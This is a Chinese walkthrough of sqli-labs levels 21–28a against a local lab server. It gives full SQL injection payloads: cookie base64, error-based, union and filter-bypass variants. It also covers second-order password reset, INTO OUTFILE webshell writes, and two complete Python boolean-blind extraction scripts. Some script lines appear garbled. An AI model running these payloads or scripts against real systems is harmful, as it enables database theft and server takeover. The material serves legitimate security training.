目录
Less21
Less22
Less23
Less24
Less25
Less25a
Less26
Less26a
Less27
Less27a
Less28
Less28a
Less29
Less30
这关刚开始还是和Less20一样,进去是个登录的页面
输入正确的用户名和密码之后,返回的页面有User-Agent,客户端ip地址,cookie,用户名,密码,用户id等信息
登录过程中burpsuite也是抓到两个报文,第一个是发送用户名和密码的POST报文,第二个是GET报文且携带cookie
仔细看这关的GET报文,就和上一关不一样了,Cookie中uname参数的值是base64编码的。
把uname的值粘贴到burpsuite的decoder模块,先decode as url,再decode as base64,可以看到最终结果是admin
下面开始正式开干,把admin'放到decoder里面,encode as base64
把proxy模块中抓到的GET报文send to repeater,然后把得到的base64编码后的结果作为cookie头中uname的值发送,从报错可知闭合是')
这关还是可以用报错注入,除了每条payload都要经过一次base64编码(如果base64编码结果包含等号还要进行url编码),再作为uname的值发送,其他还是和Less20一样。具体就不一一截图了 ,以下是爆数据的payload在base64(和url)编码之前的值:
#获取服务器上所有数据库的名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or ('
#获取pikachu数据库的所有表名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or ('
#获取pikachu数据库message表的所有列名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1) or ('
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1) or ('
最终结果如下图
emmmmm搞完了发现这关如果和Less20一样,有注入点的地方是select语句,那么其实是可以用union注入的。。。这里用爆当前数据库做个演示:
payload是:ad') union select 1,2,database()#
先在decoder中base64编码,然后作为repeater中cookie头的uname的值发送,得到当前数据库名称security
写webshell:
payload: ad') union select 1,2,'' into outfile 'C:/less21.php'#
先base64编码再url编码,得到的结果作为cookie的uname值发送
服务器上得到的webshell:
本关代码也没啥可说的,和Less20的区别就是生成名为uname的cookie值时进行了base64编码,把客户端发来的cookie值代入sql语句之前进行了base64解码
这关的原理和上一关一样一样的(注入点在cookie的uname参数值,payload需要base64编码,如果编码后有等号还需要url编码),就是闭合换成双引号了。
为了弥补前面两关明明可以union注入,偏偏报错注入了的遗憾,这关用union注入来一次。
整个爆数据的编码前的payload如下:
#下面两步找列数
Cookie: uname=admin" order by 3#
Cookie: uname=admin" order by 4#
#确定哪个字段有回显
Cookie: uname=" union select 1,2,3#
#获取服务器上所有数据库的名称
Cookie: uname=" union select 1,2,group_concat(schema_name) from information_schema.schemata#
#获取pikachu数据库的所有表名称
Cookie: uname=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
#获取pikachu数据库message表的所有列名称
Cookie: uname=" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'#
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=" union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message#
最后一步:
写webshell:
编码前payload:
Cookie: uname=" union select 1,2,'' into outfile 'C:/less22.php'#
编码:
发送报文:
服务器上写入的webshell:
这关代码没啥可说的,和上一关的区别就闭合不一样
这关和前面三关终于不一样了,又变成GET型了。
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1 得到正常的页面,并且回显用户名和密码
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1' 得到报错的页面,并且从sql语法错误看,闭合是单引号
接着输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1'#和http://192.168.101.16/sqli-labs-master/Less-23/?id=1'-- s 发现注释符并没有起作用,返回的仍然是报语法错误的页面
看来这关过滤了注释符,需要想办法绕过这个过滤
没想找order by要怎么绕过注释符过滤,猜列数得用union select来猜了
输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1'
或者
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2'
从返回结果可知列数不对
输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2,3'
没有报错,且显示了2和3,可见列数为3,并且第2和第3列查询结果可以被显示
接下来就是常规的用union注入爆数据啦,payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3'
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3'
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),3'
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(concat(id,'^',content)) from pikachu.message),3'
最终结果:
这关受到后面的limit 0,1的影响,没法用into outfile写webshell,sqlmap也试了,写不成功,毕竟sqlmap用的也是into outfile
这关代码也没啥可说的,主要就是23到27行,把#和--删除了
这关是二阶注入,先观察页面,再看代码找注入点
首先观察一下页面,有登录和注册新用户的功能(忘记密码功能是假的)
点击New User click here?会进入注册用户的页面
输入正确的用户名和密码会进入修改用户密码的页面,比如下图以用户名admin,密码2登录
通过以上考察,可以发现本关应该有三个位置有sql语句,登录的位置是select语句,新建用户的地方是insert语句,修改密码的地方是update语句。
再看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能
登录位置代码如下,mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。
注册用户的代码如下,同样,insert语句的入参都经过了函数mysql_escape_string()的转义,没有注入点
修改密码的代码如下,update语句中的$pass和$curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。
username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin'#或者admin'-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD='$pass' where username='admin'
因此,本关的解法可以是:
注册新用户admin'#,密码随意
以admin'#登录
修改密码为456
上图中点reset之后再logout,然后用用户名admin,密码456登录,可以登录成功
这关过滤了and和or,但是只需要双写绕过即可。注意不仅仅是单词and和or,order和information中也有or
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1'
报错,根据报错信息可知闭合是单引号
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 3-- s
返回正确结果
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 4-- s
返回报错,说明输出有3列
接下来不一一截图了,爆数据的payload如下:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
最终结果:
本关可以写webshell,payload如下:
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,'' into outfile 'C:/less25.php'-- s
服务器上写入的webshell:
本关代码中,用自定义的blacklist()函数处理了输入参数$id
blacklist()函数的定义如下,用preg_replace()函数匹配and和or(i表示不区分大小写),并删除。但由于没有迭代匹配删除,所以双写可以轻松绕过。
这关和上一关看着差不多
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1'
发现报错了,但没有爆出具体的错误。mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有,返回如下错误说明没有查询结果,也就是说sql语句没有正确执行。
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1-- s
返回正确查询结果,说明本关无闭合符号。
其余和上一关套路差不多,双写绕过or和and的过滤,不多说了,上payload:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
最终结果:
写webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,'' into outfile 'C:/less25a.php'-- s
服务器上被写入的webshell:
代码不分析了,除了闭合,其他都和上一关一样
本关明面上说过滤了空格和注释符。
过滤注释符不要紧,前面关卡已经遇到过,只要构造语句把后面的引号也闭合掉就行。
绕过空格过滤常用的几种方法是:1、空白符绕过 2、多行注释/**/绕过 3、括号绕过
试了多行注释,以及几种常见的空白符(其实严谨点可以burpsuite中拿所有空白符爆破一下),都没办法绕过。
试试报错注入加括号绕过:
以爆所有数据库名称为例,需要注意这关还是过滤了and和or,并且可以用双写的方法绕过;过滤注释符之后,需要用or '1'='1'闭合单引号。payload如下:
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1
返回结果:
爆数据过程的全部payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),32,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),63,31),0x7e),1))oorr'1'='1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),32,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='pikachu') anandd (table_name='message')),1,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(concat(id,'^',content))) from (pikachu.message)),1,31),0x7e),1))oorr'1'='1
写webshell就不尝试了,根据Less23的经验,由于limit 0,1没法注释掉,所以这关应该也没法写webshell。
看一下这关代码对用户输入的id参数进行过滤处理的部分:
59和60行分别过滤or和and,不区分大小写,可以用双写绕过;
61行过滤/和*,阻止了一种空格过滤的绕过方法;
62行有点搞笑,其实这边写一个短横杠就行了,没必要写两个;63行过滤#;这两行行是进行注释符过滤。
64行\s可以匹配所有空白字符;
65行没明白写在这儿是什么意思,/再61行已经可以过滤了,\不懂为何要过滤。。
这关和上一关有两个区别:
1、不会爆出具体错误,用不了报错注入
2、闭合是')
所幸sql语句正确和错误的时候网页回显是不同的,这关可以用布尔盲注。
爆数据的python脚本如下:
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-26a/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name' #用于判断附加sql语句为真的字符,根据网页回显填写
def Database26A():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))>"+str(j)+")anandd('1')=('1" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))="+str(i)+")anandd('1')=('1"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1') aandnd (substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables26A(database):
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1') anandd (substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns26A(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1') anandd (substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') aandnd (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content26A(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "1') aandnd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1') anandd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))="+str(i)+")anandd('1')=('1"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1') aandnd (substr((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
结果如下:
这关和Less23一样,limit 0,1没法过滤,没法写webshell。
源代码也不看了,和上一关核心部分一样的,只是闭合不同,并且没有print_r(mysql_error())了。
多尝试几次之后发现,本关有以下过滤:
1、过滤空格,可以用%0a绕过
2、过滤union,可以用双写绕过
3、过滤select,可以大写某些字母绕过
4、过滤注释符,绕不过,可以用and '1'='1替代
直接上payload啦:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a4,2,3%0aand%0a'1'='1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%0a'1'='1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand%0a'1'='1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand%0a'1'='1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand%0a'1'='1
最终结果:
看一下这关代码处理用户输入的部分:
这些过滤条件感觉像是打了一套乱拳,别的不说了,这关select没法双写绕过,是因为第63行和第66行过滤了两遍select,三写就可以绕过了,当然本关payload中使用SElect来绕过更简单。
关于php中正则语法的模式修饰符,可以看:PHP: 正则表达式模式中可用的模式修饰符 - Manual
这关简直了,和上一关除了闭合不同,其他都一样,无聊。。
payload:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a4,2,3%0aand%0a"1"="1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%0a"1"="1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand%0a"1"="1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand%0a"1"="1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand%0a"1"="1
最终结果:
源代码不看了,无聊。。。
这关不看代码的话,有点难绕。。先看代码吧
代码中先过滤/,*,-,#,空格,+,最后过滤union\s+select(且不区分大小写)
首先由于64行及之前,对空白符过滤的不充分,空格可以用其他空白符代替,比如%0a;
然后来看union select的过滤怎么绕过:
既然union select是作为一个组合过滤的,并且只过滤一次,因此可以用整体的双写绕过,比如:
http://192.168.101.16/sqli-labs-master/Less-28/?id=1')%0aunionunion%0aselect%0aselect%0a1,2,3%0aand ('1')=('1
这样过滤的时候中心的union%0aselect会匹配到union\s+select,剩下两侧组合起来的union%0aselect
完整过程的payload如下(payload是拿前面关卡改的,其实可以更简单,比如不用括号绕过空格,而是用%0a,再比如select不需要大写绕过):
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a4,2,3%0aand ('1')=('1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand ('1')=('1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand ('1')=('1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand ('1')=('1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand ('1')=('1
最终结果:
这关也可以用布尔盲注,直接把Less26a的python脚本改改(and和or的双写去掉),就是本关的脚本了:
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-28/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name' #用于判断附加sql语句为真的字符,根据网页回显填写
def Database28():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "1') and (length((select (group_concat(schema_name)) from (information_schema.schemata)))>"+str(j)+")and('1')=('1" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1') and (length((select (group_concat(schema_name)) from (information_schema.schemata)))="+str(i)+")and('1')=('1"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1') and (substr((select (group_concat(schema_name)) from (information_schema.schemata)),"+str(i)+",1)='"+c+"')and('1')=('1"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables28(database):
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "1') and (length((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1') and (length((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')))="+str(i)+")and('1')=('1"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1') and (substr((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')and('1')=('1"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns28(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "1') and (length((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1') and (length((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')))="+str(i)+")and('1')=('1"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1') and (substr((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')and('1')=('1"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content28(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "1') and (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")and('1')=('1"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1') and (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))="+str(i)+")and('1')=('1"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1') and (substr((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")),"+str(i)+",1)='"+c+"')and('1')=('1"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
脚本测试结果:
这关更简单,连空格都不用绕过
思路和上一关是一样的,也是双写union select整体来绕过。payload如下:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,2,3 and ('1')=('1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(schema_name) from information_schema.schemata),3 and ('1')=('1
